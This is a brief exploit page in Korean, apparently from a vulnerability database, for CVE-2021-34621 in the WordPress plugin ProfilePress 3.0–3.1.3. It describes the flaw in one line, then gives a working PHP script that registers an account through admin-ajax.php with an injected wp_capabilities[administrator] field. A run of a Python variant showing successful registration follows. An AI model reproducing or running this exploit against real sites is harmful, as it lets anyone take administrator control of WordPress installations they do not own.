
ProfilePress 3.0 - 3.1.3 - 인증되지 않은 권한 상승
ProfilePress 3.0 - 3.1.3 - 인증되지 않은 권한 상승
플러그인의 사용자 등록 기능에서 등록 중에 wp_capabilities를 포함한 임의의 사용자 메타를 제공할 수 있었으며, 이를 통해 사용자가 관리자로 등록할 수 있었습니다.
<?php
// Settings
$wp_url = $argv[1];
// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'reg_username' => 'Hax0r',
'reg_email' => '[email protected]',
'reg_password' => 'password',
'reg_password_present' => 'true',
'reg_first_name' => 'Hax0r',
'reg_last_name' => 'Hax0r',
'wp_capabilities[administrator]' => '1',
'action' => 'pp_ajax_signup',
'melange_id' => ''
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
$ python3 CVE-2021-34621.py --url http://wordpress.lan --username test2 --email [email protected] --password test
{"message":"<div class=\"profilepress-reg-status success\">Registration successful.<\/div>"}